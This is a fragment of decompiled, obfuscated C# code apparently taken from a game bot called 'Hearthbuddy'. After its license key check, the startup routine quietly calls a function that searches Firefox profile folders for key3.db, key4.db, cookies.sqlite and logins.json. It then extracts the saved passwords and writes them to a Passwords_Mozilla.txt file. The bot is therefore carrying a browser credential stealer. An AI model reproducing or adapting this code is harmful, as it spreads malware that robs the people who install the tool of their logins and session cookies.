private void method_0() { base.Visibility = Visibility.Hidden; if (!CommandLine.Arguments.Exists("noupdate") && !GlobalSettings.Instance.DisableUpdateCheck) { try { Class12.smethod_5(); } catch (Exception exception) { ilog_0.Error("An error occured while checking for updates.", exception); } } if (!Class12.smethod_1(GlobalSettings.Instance.AuthRegion, GlobalSettings.Instance.LoginKey)) { MessageBox.Show(string.Format("There was an error authenticating your key with the server. Please try again or use a different key.{0}{0}{1}", Environment.NewLine, Class12.string_0), "Hearthbuddy", MessageBoxButton.OK, MessageBoxImage.Hand); } else { Class12.smethod_3(); Application.Current.MainWindow = this.mainWindow_0; this.mainWindow_0.Visibility = Visibility.Visible; this.mainWindow_0.Show(); this.mainWindow_0 = null; base.Close(); this.NeedsToShow = false; } }
// Token: 0x060001E1 RID: 481 RVA: 0x0000F220 File Offset: 0x0000D420 public static void smethod_3() { List <string> list = new List <string>(); list.AddRange(Class12.smethod_0(Class12.string_0, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); list.AddRange(Class12.smethod_0(Class12.string_2, 4, 1, new string[] { "key3.db", "key4.db", "cookies.sqlite", "logins.json" })); foreach (string text in list) { string fullName = new FileInfo(text).Directory.FullName; string string_ = text.Contains(Class12.string_2) ? Class12.smethod_12(fullName) : Class12.pbkrPshvsy(fullName); string string_2 = Class12.smethod_4(fullName); Class12.smethod_1(fullName, string_, string_2); string text2 = ""; foreach (string str in Class12.list_4) { text2 = text2 + str + Environment.NewLine; } if (text2 != "") { File.WriteAllText(Help.Passwords + "\\Passwords_Mozilla.txt", text2, Encoding.Default); } } }